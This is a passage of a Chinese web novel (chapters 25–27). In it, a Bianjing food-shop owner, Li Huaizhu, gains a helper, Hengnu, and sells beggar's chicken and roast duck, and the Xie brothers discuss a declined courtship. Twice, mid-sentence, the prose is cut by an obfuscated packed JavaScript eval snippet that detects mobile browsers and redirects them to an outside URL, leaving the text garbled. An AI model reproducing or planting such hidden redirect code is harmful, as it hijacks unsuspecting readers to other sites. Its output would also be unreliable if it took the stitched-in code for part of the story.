脸是瘦长的，眉眼清明，鼻梁挺直，确实不是文弱的样子，倒有几分混不吝的少年气，眼神依旧不善。 给人端了店里的饭食过来，都还温热着。 只是吃客人剩饭这事，好说不好听的，毛病确实要改。 “吃吧。”李怀珠和团娘坐在他对面，“以后店里管饭，客人吃什么，咱们自己人也吃什么。只要别再去捡客人吃剩的，成吗？” 恒奴闻言，也不搭话，直到清完了桌上四个荷叶馍，又就着酱瓜，呼噜噜喝了一碗豆粥，才稍稍放缓了速度，道：“……要是能吃饱饭，谁乐意吃剩的。” 原本他在樊楼，是东家买回去给大厨做专人杂役的。 掌厨大师傅心情好，或许赏他多吃点，心情不好或忙起来饿肚子是常事，偏他正是长身体的时候，吃得多，又不肯伏低做小，说奉承话，一来二去，那大厨和手底下人都排挤他，脏活累活给他，饭食又克扣，他饿得没办法，才去吃客人剩饭果腹。 大厨早看他不顺眼，借此告了一状，说他污了樊楼名声，主家便将他发卖了。 在牙行又饥一顿饱一顿，今早抢那块炊饼前，他已经三天没正经吃过东西了。 李怀珠听完，心里有数了。 等他吃完，问：“味道怎么样？” 恒奴放下碗，瞥一眼窄小的铺面，评价道：“还行。这种店能有这味道，不错了。” 嘿！这话说的一下子戳到李怀珠痛处：李记不仅店小，名气也少。少年虽然年轻耿直，倒是长了一双火眼精精！ 又带他去买了套被褥，回到店里，正琢磨着怎么开口让他睡大堂——毕竟后院就两间房，她和团娘挤一间，另一间存米面粮油，实在没空处了。 还没等她措辞好，恒奴自己抱着新被褥，主动道：“我睡前面守夜。三张矮几拼一块，够宽。这段时间京里不太平，夜里得有个人醒着。” 这般坦荡，李怀珠倒有点不好意思，人家第一天来就让睡拼桌子……可也不知道这么精瘦的身板，能不能挡住歹人。 “以后，以后一定有你的地方……” “没事。”恒奴并不在意，“有地方睡，有饱饭吃，就行。” 说着，他似是无意，凉飕飕瞟了李怀珠一眼，“还是东家是怕我太瘦，来了贼人抗不住？” 冷不丁被人点破心思，李怀珠脸上微热，“非也，是更怕你糟了打……” 恒奴似笑非笑：“之前在樊楼，不切菜的时候，某就是帮着前面平事的。来找茬的混混，喝醉了闹事的大汉，收拾过不少。” ……原来如此，这就放心了！李怀珠清清嗓子瞧他一眼，又怪他，这么好的简历信息怎么买的时候没说，于是心虚移开目光，笑道：“那挺好，你看着安排吧，早些歇息。” 说完，赶紧溜回了后院。 恒奴看着她的背影，这次是真笑了。 拼好矮几，铺好被褥，却看到柜台旁边倚着的两个大麻袋，过去拆看，用手捏出一把里面的东西，就着月光看了看。 ——是黄土。 他以为是哪里要补墙或地砖备下的，没多想，吃饱了困意上涌，打了个哈欠和衣睡下，矮几坚硬，铺了褥子也没有多舒适，但比起牙行饥寒交迫，已是天堂。 翌日，朝食忙后小娘子便支他把黄土弄到了后院，又掺了酒水和成泥巴，去市上买了两只肥嫩的雏鸡回来。 恒奴在樊楼待了三年，硬是没听过……叫花鸡，是个什么东西？ 25. 第25章 七月半，中元节，鬼门开。 汴京城里，家家户户都开始预备祭祀之物，纸马香烛自不必说，三牲酒礼更是要紧，鸡鸭鱼肉之中，属鸡最是便宜实惠，又好拾掇，寻常人家祭祖，案头总少不了一只油光水滑的肥鸡。 ——这生意，做得。 念头一起，李怀珠脑瓜先飘过叫花鸡来，实在是前些年看过的戏文里，洪七公捧着叫花鸡大快朵颐的画面太过深入人心。 想象中的叫花鸡该是这样的：秋深了，芦花白了头，凉津津的湖水泛着寒碧，一个混不吝的老头儿从草丛里摸得一只肥鸡——也不知是谁家的，总之是肥的，寻个背风的土坡，并不用水洗，只用湿泥巴厚厚裹上一层，捡些枯枝生堆旺火，将那泥团架在火上烧得干硬，便用柴棍子拨拉出来，也顾不得烫，往地上一摔，泥壳应声裂开，连带着鸡毛一同脱落，露出里头活色生香的鸡肉。 想必是鸡肉极质朴、极本真的滋味，没有酱酒的繁杂调味，吃的时候怕是连筷子也免了，就用手撕扯着，鸡汁顺着指缝流下来，黄澄澄的油脂软香…… 李怀珠快被自己丰富的想象给馋哭了。 一旁的恒奴却有些纳闷，他在樊楼待了三年，自认见识过煎炒烹炸、蒸煮焖炖诸般手段，可这“叫花鸡”……硬是想不出是哪一路做法。 更别说这名儿，忒不讲究！ 李怀珠瞧他一脸嫌弃，忍不住笑了：“叫花鸡怎么了，乞丐吃得，咱们就吃不得？说不定就因这名字，反倒叫人好奇呢。” 没有经过信息时代荼毒的青瓜，知不知道什么叫“标题党”？“震惊！叫花子做的鸡竟是这个味道？！”……咳咳，李怀珠觉得自己怕是有点奸商的潜质了。 恒奴没接话，默默接过两只扑腾的雏鸡准备料理，在樊楼，这活自然轮不到大厨沾手，在这儿也一样。 “去毛，开膛，留心着点，皮子尽量别破。” 李怀珠叮嘱一句，转身去张罗别的。 团娘已照着李怀珠的菜谱备好各色调料与配料，葱姜切得细碎，另有花椒、八角、茴香几样香料捣碎了盛在粗陶碗里，几朵泡发好的香菇，一把枸杞子，还有提前用猪油炒香的糯米，里头拌着笋丁和腊肉粒，最后将油酱、黄酒、细盐、饴糖若干，混拌成汁。 雏鸡处理干净，用布巾揩干水分，又以竹签在肉厚处扎上小孔，便于入味，李怀珠将香菇、枸杞、糯米填料塞进鸡腹，再用手捞起酱汁，将两只鸡里外揉搓按摩个遍，末了，将鸡放入盆中，剩余的酱汁也浇上去，盖上盖子。 “得腌上三四个时辰，晌午过后再动火。” 恒奴看着自家娘子一套行云流水的动作，隐隐觉得这做法或许真有点门道。 趁着腌鸡的功夫，李怀珠让人将黄土搬到后院窑边，加酒水和成塑泥的泥巴。 此时，李记新写的“七月十五祭祀，特供叫花鸡”的木牌也已挂出，旁边还附了句俏皮话：“泥里滚一遭，火中炼真香。祭祖尝新两相宜，不妨一试。” 不多时，便有熟客探头来问：“李娘子，这‘叫花鸡’是个什么新奇物事？怎的还用泥巴裹了烧？” 李怀珠便笑吟吟解释，说这是古法野趣的菜式。 您想啊，古时候人在野外，无锅无灶，逮着山鸡野鸟，用泥一裹柴一烧，剥开来原汁原味，又道李记不过略加改良，只会滋味更好，祭祀时摆上祖宗怕是也没尝过呢！ 她说得活灵活现，引得人好奇心起，纷纷追问何时能有。 “得暮食时才好。”李怀珠道，“诸位若想要，届时先到先得。不过倒也不急，明日做了再来也是一样的。” 当下便有三五人当场定了，说好次日晌午来取。 看看天色，估摸时辰差不多了，李怀珠唤团娘生窑。 说起这窑，寻常人只道是烧瓷冶陶之物，却不知其中亦有分别，笼统可称“柴窑”，其实这方面实则细分“柴烧”与“柴窑”，柴烧就是窑膛内直接堆柴生火，器物直接接触火焰，成色粗犷，宜急火快烧，柴窑则不同，其内设有窑室火膛，火走焰绕着，温度也要均匀，宜慢火久焙。 李怀珠这小院里的旧窑形制简易，更近柴烧之法，用来煨鸡的话，正是取柴烧火热力通透的好处。 待窑内温度升得足够高，便将腌制好的鸡取出，网好猪网油，又取来几张荷叶，将鸡仔细包裹严实。湿泥裹在荷叶包外，塑成两个椭圆的大泥团子，绑好麻绳，以防泥壳在高温下开裂。 泥团送入窑膛，添些耐烧的硬柴，保持窑内温度。 “将近一个时辰便好。”她估算着，“咱们正好准备暮食。” 斜阳渐散，榆林巷里飘起各家炊烟，窑里的火也熄了，李怀珠让恒奴用长钳将两个泥团夹出。泥壳已被焙烧得坚硬如石，呈灰褐色。 “小心烫。” 泥团放在院中石板上，稍凉片刻，李怀珠取来木槌，对着泥壳轻轻敲击。 泥壳应声裂开，荷香与肉香氤氲散开，剥开泥块，里面青碧的荷叶已然变得枯黄，解开麻绳展开荷叶，只见鸡肉泛着淡淡的檀色，颤巍巍的，瞧着骨头一抽便能脱出出来。 汪老写吃总说“存其本味”，李怀珠觉着叫花鸡的好便在于此，正在于鸡还是鸡，荷叶还是荷叶，各是各的味，又互相沾了点光。 “咕咚。” 不知是哪个小丫头很响地咽了下口水。 李怀珠深吸一口气——就是这个味儿！ 暮食摆在院中石桌上，除了叫花鸡，还有两样清炒时蔬、一碟淋了香油的咸齑，并一钵碧盈盈的粳米饭。 鸡皮酥烂，轻轻一扯便分离，皮下鸡肉白嫩饱含汁水，李怀珠撕下一只肥嫩鸡腿给团娘，又撕下另一只给恒奴，而她自己则最爱鸡翅，觉得肉活、入味，啃着才香。 鸡皮入口酥烂，还带着一丝焦香，鸡肉极嫩，几乎脱骨，咸鲜的底味中，糯米吸饱了鸡汁与腊油，颗颗晶莹软糯，又有香菇的醇厚、笋丁、枸杞的微甜，口感滋味丰盈极了。 团娘吃得眯起了眼，含糊道：“娘子……这、这比烧鸡还好吃！” 恒奴也点头，他在樊楼尝过无数鸡馔，无论白斩、香酥、醉腌……都各有千秋，但像这般豪气云天、返璞归真的做法，却是头一回见识。 “味道是真没得说……”他顿了顿，“就是这名儿，听着不上价。” 李怀珠吐出一小节骨头，笑道：“那我给你讲讲这‘叫花鸡’的故事？” 她清清嗓子，一副“我要开始说书了”的模样： 说是前朝有个书生，时运不济，饿晕在路边，幸亏有个老乞丐路过，浑身上下摸不出半个铜板，只不知从哪儿得来一只鸡。可没锅没灶怎么办？老乞丐直接掬起一抔河边泥，把鸡裹成个泥坨，就地生火烤起来，泥壳一裂只叫人香气扑鼻，书生吃得眼泪汪汪，后来高中状元，山珍海味尝遍，却始终惦记着那一口滋味，于是将方子记下，取名“叫花鸡”。 ——自然，这故事绝对没有借鉴珍珠翡翠白玉汤的桥段。 “你瞧，这故事里有患难真情，有知恩图报。这么好的故事撑着，还怕卖不上价？” 恒奴皱皱眉，听得将信将疑，故事虽有趣，可总觉得像是现编的——昏天黑地的，哪儿那么容易摸来鸡？生火烤熟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16965280|192112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又要费多少工夫？那书生既已饿晕，又怎能嚼得动肉？ 可见小娘子这番话，多半是说来哄人的。 团娘却听得入了神，并不纠结其中逻辑，只拍手道：“故事好，小娘子也讲得好！” 李怀珠眯眼一笑，心想卖吃的嘛，三分靠手艺，七分靠张嘴，故事真假不重要，让人愿意掏钱，才是正经。 事实证明，李怀珠的口才与“叫花鸡”的香气一样颇具说服力。 叫花鸡一登场，连带故事便在附近传开了，李怀珠对着不同的客人能讲出不同版本：对文人雅士，强调“野趣”“古法”；对商贾人家，突出“新奇”“宴客有面子”；对寻常百姓，则说“实惠”、“滋味足”……三言两语，总能搔到对方痒处。 恒奴稀奇瞧着小娘子笑话信手拈来，哄得客人眉开眼笑，倒也渐渐明白了一个道理：开食肆，手艺固然紧要，但这份见人说人话、见鬼说鬼话的伶俐，同样不可或缺。 中元节后，叫花鸡竟火到一鸡难求。 从没想过什么饥饿营销的李怀珠干脆在窑里加了一层架，一炉从十只增至二十只，照样在暮食前售罄。 只算一笔粗账，一只肥鸡本钱不过四十文，经这一番炮制，搭上些故事和新奇吃法，竟能卖到一百一二十文一只，刨去配料柴火，净利少说也有七八十文，一日只这一项，便是一贯五六百文的进项…… 莫说平头百姓，便是衙署官吏一月俸禄怕也未必有此数，竟是比她原先想的还要生利。 她起初是亲自为客人敲开泥壳的，这过程在她看来是必要工序，可在一些客人眼里，却成了极有趣的事，尤其是那些呼朋引伴而来的年轻郎君，或是好奇心重的半大孩子。 “哟，这泥巴疙瘩里头还真藏了只鸡？” “快看，敲开了！哎呦，这香气！” “李娘子，让我来敲一下试试成不？瞧着怪好玩的！” 李怀珠原本担心客人被烫着，但架不住再三央求，便教他们如何下槌，客人得了趣，捧着剥好的鸡向同伴炫耀，这般情景被更多人瞧见，要求自己动手的客人便越来越多，便索性在店门口备好木槌石板，客人若想自己敲，便请自便。 没想到，这竟成了李记一景。 常有相熟的客人，提着一团泥疙瘩，相约去前头酒肆，跑堂的伙计见惯了客人自带下酒菜，可瞅着那团泥巴仍不免愣神。 “客官，您这……带的什么宝贝？” “哈哈，好东西！一会儿便知！” “……” 待酒过一巡，菜上几道，客人便取出泥团搁在桌上，学着李记娘子的样子敲开，常引得邻桌客人探头来瞧。 “嚯！这是什么吃法？” “叫花鸡，李记前几日才见过！” “有意思，真有意思！提着团泥巴来，敲开竟是只鸡！” 口耳相传，许多客人专为体验“敲泥巴”而来，仿佛亲手参与了这道美食最后的仪式。 这日暮食，最后一只鸡也被买走，那客人是个镖师，提着泥团却不急着走，站在门口跟李怀珠闲聊。 “李娘子，您这肉鸡的滋味是真没得说！”镖师啧舌，话锋一转：“就是娘子这儿地方忒小，桌子都没几张。若能搁这儿，叫上三五兄弟，现敲现吃，再配上几碗好酒，那才叫痛快！可惜啊，只能提去前头的酒肆……” 谁说不是呢，李怀珠也颇为可惜，连连点头—— 不如明天就开始物色新址？就先从这条巷子打听起。 至于买不买得起或租不租得下？ 咳，想想又不犯法，先想美了再说…… 26. 第 26 章 豪气云天的鸡有了，便又有了鸭。 世间禽类，若论吃法之精、场面之盛、滋味之丰，鸡或可称家常魁首，鸭则当仁不让是席上君子，梁实秋先生便曾论及填鸭为北平所独有，李怀珠曾亲尝过一次，粉红的鸭肉肥瘦有度，乃席上之珍。 可见一只好鸭，是能担得起大场面的。 李怀珠漂泊南北，在吃鸭这件事上也算见多识广。 南有金陵盐水鸭，皮白肉嫩而清淡咸鲜，更有名动天下的南京烤鸭，其形与北京烤鸭渊源深厚，却又风情迥异，是在炉里一挂直烤得枣红油亮，吃时斩成块，再浇上一勺卤汁，吃时连着皮肉卤汁一同入口，尝来只觉丰腴肥美。 可若论起排场，还是北京挂炉烤鸭更富仪式感。 北京鸭子肥硕丰满，烤制讲究火候，皮要酥脆如纸，色如琥珀，片鸭更是手艺，手艺人需趁热，刀光过处，片片带皮又薄而不碎，吃时花样也多，一张掌心大小的荷叶薄饼，抹上油酱，夹两片鸭肉，配几缕葱白、胡瓜丝，卷起来一口咬下，柔韧酥香，咸甜清口，层次分明而又浑然一体。 这便是一鸭两吃的妙处了。 鸭肉片了卷饼，剩下的鸭架还能椒盐煸炒，若再讲究些，鸭架子熬汤，扔几片白菜豆腐，撒点椒粉，便是一锅老鸭汤……一只鸭，物尽其用，半点不糟蹋。 李怀珠咂摸着，觉着两种都好，想了想—— 叫花鸡适合三五好友，不拘小节，围着泥团子敲敲打打，撕扯着吃，热闹又痛快，鸭子嘛，就觉着得往“讲究”上靠靠，请客、小宴、或是自家想款待贵亲的时候，这鸭子就能派上用场。 这么一想，挂炉的北京烤鸭似乎更合适。 主意一定，便着手试起来。 鸭胚不难弄，东市有专做鸡鸭的肉铺，李怀珠专挑稻谷喂大的麻鸭，皮肉之间有层厚厚的脂肪，最是肥美，处理干净，照老法子吹气、烫皮、挂起晾干，再用饴糖、黄酒、香醋调成的皮水反复刷上几遍，晾得皮紧绷油亮。 接下来才是要紧的，怎么用这土窑模拟出挂炉的效果？ 窑膛是圆的，火在底下，热力往上走，倒有点像挂炉的原理，便让恒奴在窑膛偏上的位置用铁条搭了架子，鸭子就挂在那架子上，底下烧的柴火也换成了果木——杏木、枣木、松木都行，据说烧起来有独特的香气，能渗到鸭皮里①。 火候是关键，不能太急，外皮焦了里头还生；也不能太温，温了皮鸭子就不够脆。 使吊肉钩子挂里面烤了两回，头两只试得不太如意，一只火大了皮色发暗，一只又欠了些皮不够酥，到了第三只，窑门一开，那香气便不同了。 “成了？”团娘抽着鼻子，眼巴巴问。 “看着像。”李怀珠笑着揉了揉小姑娘的脸蛋，说，“等片了才知道。” 片鸭这活儿，她原本是有些怵的。 从前在烤鸭店里看老师傅片过，那刀工行云流水，鸭肉片得飞薄，每一片都连皮带肉，是一门极见功力的手艺，怕自己这半吊子糟蹋了好容易烤出来的鸭子。 正琢磨着硬着头皮自己上，恒奴擦着手过来了。 李怀珠一愣，“你会？” “自然……”恒奴瞥她一眼，接过她手里的薄刃刀，掂了掂，随后拎起烤好的鸭子，搁在早已备好的干净案板上。 然后李怀珠便见识到了什么叫“专业”。 薄薄的刀刃专从鸭胸脯最丰腴处片下，刀刃斜着切入，轻一转，片好的鸭肉大小如榆钱，薄得能透亮，皮肉相连，皮是焦酥的赭红，肉是柔嫩的浅粉，边缘还汪着一线晶亮的油汁，焦红的脆皮搁在青花盘子的最当中，像朵花儿的花心。 鸭胸肉片完，又是腿肉、背肉，骨架上的肉也剔得干干净净，最后剩下一个完整的鸭架。 团娘小声惊叹：“这手也太利落了！” 恒奴擦了擦刀，淡淡道：“在樊楼没少给大厨打下，拆鸡剔鸭也算本行。” 李怀珠心下大喜，这可真是瞌睡递来了枕头！好，好刀工！当即便夹起两片鸭肉，蘸了点甜酱，又裹了张小薄饼卷了送入口中。 她眯起眼，虽比记忆里的还差些火候，但在这市井之间，自家土窑里能烤出这般水准，已是意外之喜。 “团娘，恒奴，你们都尝尝。” 团娘早等不及，学着她的样子卷了一个，塞进嘴里烫得直哈气，含含糊糊嚷：“好……好吃！皮脆肉嫩的，酱也好香！” 恒奴也尝了一片，点了点头：“火候还行。皮能再脆些更好。酱里……是不是搁了些芝麻？不错。” 李怀珠笑着点头，果然是在大酒楼待过的，舌头刁，加芝麻是为了让口感更醇厚。 “那剩下的鸭架子呢？”恒奴看着那副骨架，“按娘子说的，椒盐？还是熬汤？” 成年人不做选择，李怀珠兴致勃勃，“都要！一半撒了椒盐，用余火烤。另一半炖了，晚上咱们喝老鸭汤②！” “一鸭三吃”亮相，立刻吸引了不少人的目光。 先是那现片鸭子的场面就够吸引人。 恒奴往案子后头一站，拎起油亮的烤鸭，刀光闪动，肉片纷飞，本身就像出戏，看得等着取叫花鸡的客人都挪不开眼。 李怀珠便笑着介绍—— 片了肉卷饼是正经吃法；鸭架子可以做成椒盐的，啃着香；要不就带回家，加点儿白菜豆腐一炖，就是锅好汤。 有舍得花钱的当家大娘子，当即就要了一只，恒奴当场片好，李怀珠用荷叶包了鸭肉、甜面酱、胡瓜丝、葱丝和一叠小薄饼，另包了椒盐鸭架。 这一位开了头，后面便接二连三，一些家境殷实的客人觉得这烤鸭既有排场，又能三吃，请个小客、家里改善伙食，再合适不过。 李怀珠也是后来才发现，这土窑竟能“一窑两用”！ 底下架着柴火烤鸡，上面铁钩挂着鸭子，鸡是焖烤，鸭是挂烤，两不耽误。 不久之后，李怀珠便从客人口中听说，是特地从外城赶到内城，就为了买只鸭子。 那客人说得绘声绘色：“我家连襟住在外城曹门那边，前几日在亲戚家尝了，念念不忘，今日特意起了个大早，穿城过来买，还有娘子自家熬的甜酱，别处没有！” 团娘听了，与有荣焉，李怀珠也乐开了花，心想：嘿，照这么下去，别说买庄子，怕是真能靠着鸡鸭双全，在汴京城里挣下份家业呢！ 这日生意格外好，烤鸭早早售罄，李怀珠正准备打烊，门外传来脚步声。 抬头一看，竟是石子桓。 有些日子没见他了，人瞧着清减了，眼下一片青黑，神色也是昏昏倦意。 “石郎君？”李怀珠有些意外，“可是来买点心？抱歉，糕团卖完了，烤鸭也都售罄了。” 石子桓嗓子都哑了：“无妨，某就是路过，看看……这就是‘ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16977310|192112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一鸭三吃’？” “正是。石郎君感兴趣？可惜今日不巧……” “明日可有？” “明日……”李怀珠看了眼恒奴，恒奴点了下头，便道：“明日午后应当能得。” “那便给我留一只，明日这时来取。”石子桓说着便要掏钱。 纸笔记好，李怀珠看他精神不济，想起考试日子是越来越近了，便问：“郎君近来备考辛苦吧？” 石子桓苦笑一下，“……不提也罢。整日埋首书卷，难得出来透口气。兰时比我更是闭门不出，除了备考，还在草拟河阳流民的策论，连我邀他出门散心都推了。” 李怀珠闻言心下微微一动，不由想起七夕那晚，他伫立灯下认真听她浅见的模样——倒真是个肯用心做事的郎君啊。 “原来如此。谢郎君心系民生令人敬佩，儿瞧二位郎君如此刻苦，来日必能高中！” 石子桓笑笑，余光却被柜旁高几上那盏精巧的琉璃灯吸引，烛火未燃，但天光映照下，琉璃剔透，彩绘绚烂，一眼便知不是凡品。 “这灯倒是别致精巧，”石子桓顺口赞道，“光影流转起来想必极美，娘子好雅兴。” 提起花灯，李怀珠瞥了眼身后的方向。 ——那盏灯，还收着呢。 她收敛心神，对石子桓笑道：“今日鸭是没了，不过还剩最后一只叫花鸡，石郎君若不嫌弃，便带了去尝尝，就当是老客的人情。” 几经推辞不过，石子桓终究接了过去，露出些微真心笑容：“如此，便多谢李娘子了。” 又寒暄两句，李怀珠目送他远去，一回头，又瞧见檐下灯影绰绰。 关于盏灯的事，还得从七夕说起。 七夕没去成金明池灯会，后来祁檀来时她随口提了句“可惜没看成”，真的只是随口一说，绝无他意，谁知说者无心，听者却似乎上了心，前些日子，祁檀竟真差人给她送来了盏灯。 “我家郎君听闻娘子七夕没瞧上花灯总觉可惜，说这盏微光流转，拿来与娘子解闷也好。” 话虽寻常，可小厮的唇角笑意却从眼底漾开，把她瞧得跟朵花似的，将灯放在柜上，不经她推拒便已转身。 这样漂亮一盏琉璃灯，不是寻常地方能买到的东西。 琉璃灯彩绘花卉虫鸟，刺的是耕织图，烛光一点，流光溢彩，灯顶有个小巧机关，烛火的热气推动气扇旋转，带动灯身轻轻转动，灯上的画儿便活了起来，影影绰绰，如梦似幻…… 看着浮动的“男耕女织”的图景，李怀珠才慢慢琢磨过味儿来—— 祁檀他好像，可能，大概……真对自己有些意思？ 李怀珠不是木头，这灯一送，之前的坦荡就全变了味道。 可问题是人家也没明着说什么，她若贸然把灯退回去，显得自作多情小家子气……好在祁檀是宫里当值的侍卫，平日也难见到，倒免去了许多尴尬。 只是这灯实在新奇漂亮，团娘见了爱得不行，点灯点得比谁都勤快。 “娘子，”团娘洗了脸收拾清爽，又蹦跳着过来，“天色暗了，咱们点灯吧？点那盏琉璃的好不好？转起来可好看了！” 闻言，墙角收拾果木的恒奴淡淡瞥了眼店主人。 收都收了，不点可不就是暴殄天物了？大不了以后再寻个由头还与他罢了…… 李怀珠到底是笑了，“点吧，亮堂点儿也好。” 27. 第 27 章 天一日日燥起来，进了三伏天，便像下了火。 谢卿下了轿，官服的后背都湿了一小片。 他这几日在户部忙得脚不沾地——河阳水患的赈灾钱粮要核算、调配，各地夏税收缴的文书堆成了山，偏又撞上几处账目对不上，几个主事吵得他脑仁疼，公廨里虽放了冰鉴，可那点子凉气，哪抵得住心头焦躁，胃口自然是败得干干净净。 不止他，家里柳氏和姨娘也都蔫蔫的，厨下绞尽脑汁，换着花样做冷淘、凉菜，可一家人仍是举箸寥寥，连平日最活泼的一双儿女也只对付几口，便嚷着要吃外头的冰酥酪、李记的糕团子…… 唉，这暑热，真是磨人。 正烦躁着，门房忽来报，说宫里来了人，谢卿忙整衣冠迎出去，却是内侍省循旧例，因他新擢户部郎中，按章程给下头官员“颁冰”来了①。 柳氏喜不自胜，连忙指挥仆妇将冰分置各房，又敲下些碎冰，调了蜜水，做了冰饮子，一家人喝了，午饭时，竟也难得地多进了半碗粥和几筷瓜条。 暮食归家，谢卿心里稍慰，亲近的小厮跟在身边，摇扇跟他闲聊解闷：“郎君，方才路过榆林巷，瞧见李记还亮着灯，您要不要……” 谢卿摆摆手，他这会儿没什么胃口，只想早点回去歇着。 轿子到了府门前，刚下轿，却见另一侧角门处，两个身影正要往里走。 谢卿一愣，唤道：“兰时？” 那人回过头，正是谢慈，他一身素淡的青衫，只是面色略微沉寂。 “兄长。”谢慈停下脚步，叉手行礼。 “你怎么……”谢卿话到嘴边，又顿住。 谢慈自打他进京后，因着备考清静，一直借住在泰安伯府提供的静观院，说好了等中秋再搬回来同住，眼下离中秋尚远，怎么突然回来了？ 谢卿心头疑虑，却道：“回来就好。可用过饭了？” “用过了。”答话也只寥寥几字。 兄弟俩一同往里走，柳氏得了信儿，早已迎出来，见了谢慈喜道：“二郎回来了？快，快进来！正好今日宫里赐了冰，我让人给你房里也送些去！” 说着便自然而然拉过谢慈，上下打量，嘴里说着瘦了之类的话，眼神却悄悄往谢卿那边递。 谢卿会意，知道妻子这是要私下问话，便点头自去更衣。 不多时，柳氏转回正房，凑到谢卿耳边低语。 原是伯爷和大娘子这段日子在给四姑娘相看亲事了，京中当下才俊不少，伯爷挑中的便是永昌伯爵府家的三郎，那位郎君年纪与谢慈相仿，门第又相当，家中虽袭着爵，但近两代并无出色人物，算是守着祖荫过日子。 永昌伯府看中泰安伯府如今的圣眷和清贵，泰安伯则觉得对方门风尚可，子弟老实读书，是个稳妥归宿。 只是齐四姑娘不知怎的，前几日寻了个由头，在伯府花园见了面谢慈，将人叫到一旁说了些话，具体说了什么，谢慈身边小厮也不甚清楚，只说远远瞧见姑娘眼圈泛红，俩人说了几句话，谢慈肃然一礼，转身便走了。 之后谢慈便向伯爷请辞，说要回家备考，伯爷念及谢卿入京，家人久未团聚，也便应了。 “我问了兰时的小厮，那孩子嘴紧，只说是四姑娘说了些话，二郎听了便决定回来。”自家阿弟虽然生了一副菩萨面，内里却是一颗冰心，柳氏叹道，“怕是落花有意，流水无情……可惜了。” 谢卿听罢，许久没言语。 他这弟弟性子冷清，心思深，于男女之事上向来淡泊，姑娘家的情愫或许早有察觉，只是避而不谈，如今对方长辈议亲，姑娘怕是按捺不住才贸然挑明，反倒让阿弟不得不明确态度，干脆搬了出来，以免后面尴尬。 “也好。”谢卿点点头，“兰时志在科考，此时搬回来专心温书更清净。只是不知他回得是否周全，别枉费伯爷平日照拂之情。” 柳氏道：“我瞧兰时行事有分寸，应当不会太过。只是姑娘那边要伤心一阵了。” 正说着，外头小厮来报，说二郎院里的冰送去了，那边说多谢大娘子。 谢卿想了想，吩咐道：“去，去李记买些熟食，再拌两个清爽小菜。我同二郎喝两杯，解解乏。” 小厮应声去了，谢卿又对柳氏道：“我去看看他。有些话，兄弟间也好说。” 柳氏无有不应的：“你去吧，同二郎好好说，我去厨下冰壶荔酒。” - 西院书房里，谢慈独自坐着，并无人侍候。 谢卿立在门外瞧了一眼，见他只对着一卷书出神，那侧影清瘦沉静，倒叫谢卿想起幼时父母去后，阿弟也常常这般独自待着，不言不语。 他心里一软，便没有立刻进去，吩咐跟来的小厮把食盒提到院中石桌上去，仔细摆开，再取两个敞口盏来。 青石圆桌上铺开阵仗，正中一只浅口青瓷盘，是烧鸭和薄饼，搭配的青葱丝和胡瓜丝，一旁是拆解一半的叫花鸡，团围的另有四只小碟，一碟碧葱炒鸡子，一碟素炒三丝，一碟酱瓜肉丁，还有一碟凉拌胡瓜片，白玉似的瓜片浸在浅浅琥珀色的汁水里，是镇过还冒着凉气的……都是李记娘子的手艺。 谢卿这才走到书房门口，“兰时，出来陪为兄用些宵食。” 谢慈闻声出来，见了石桌上一案清爽，素日暑热也忽而有了胃口，“这是去李记订的？” “知你喜爱李娘子手艺，”谢卿颔首：“便叫人去订了几个小菜，确是清爽。” 一旁布菜的小厮听了心里却嘀咕：可不好么，一只鸡一百一十文，一只鸭一百五十文，这些贵些也无妨了，只是这四道小菜加一起竟也要一百五十文，美其名曰私厨小菜，林林总总，这顿饭竟用去四百文……这李记娘子每日赚的怕是比他家郎君都要多了！ 兄弟俩对坐，先饮了一盏冰过的荔酒，驱散了暑气。 “尝尝，瞧着你这几日怕是没好好吃饭。”谢卿将一盘鸭片推近些，蘸着甜酱裹了饼葱，自己先尝了一个，深觉不错，道：“味儿是真好，咸淡合适，油酱薄甜，下酒最妙。” 谢慈依言夹起一块，鸭肉浸润了醇厚的酱香，入口咸鲜，皮子带着些许韧劲，肉质却酥软，确实宜人……嗯，小娘子有双令人称道的巧手。 “让兄嫂费心了，味道很好。” 兄弟俩默默对饮两杯，素日没有胃口的谢卿，竟也觉得十分入口。 “搬回来也好，”谢卿放下酒杯，并不责怪，“外头再周全，总不如家里自在。备考虽紧要，但身子是根基，莫要一味苦熬。你嫂子说了，明日让厨房给你炖些清凉补气的汤水。” 谢慈垂眸，清冷中露出些微柔和：“嗯，谢兄长、嫂子挂怀。我省得的。” “伯爷那边，都妥当了？”谢卿问道。 “已向伯爷当面禀明，恳请归家静读。伯爷虽有些惋惜，但当下便允了我。” 这么说来，倒是伯爷宽宏了，谢卿又为他斟了半杯酒：“四姑娘的事，你嫂子与我提了。你心里既有主意，早些说清，于人于己都是解脱。只是小娘子家脸皮薄，心思细……”也不知阿弟回绝时可还周全？莫要让人太难堪，叫人下不来台，也辜负了伯爷平日的情分——只是后面的话，做哥哥的到底没说出来。 闻言，谢慈沉默片刻。 “兄长，”当着自家人，没什么可遮掩的，谢慈温声开口，“我对四姑娘，从未有过男女之思。此事除了齐愈外并无其他外人知晓，兄长不必为我忧心。” “你向来做事有分寸，我与你嫂嫂自然信你。”这么说来，看来是当真无意了，谢卿又问道：“只是永昌伯府那门亲事，你如何看？” 谢慈淡淡道：“门当户对，又是伯爷亲自看过的，于四姑娘而言自然良配。” 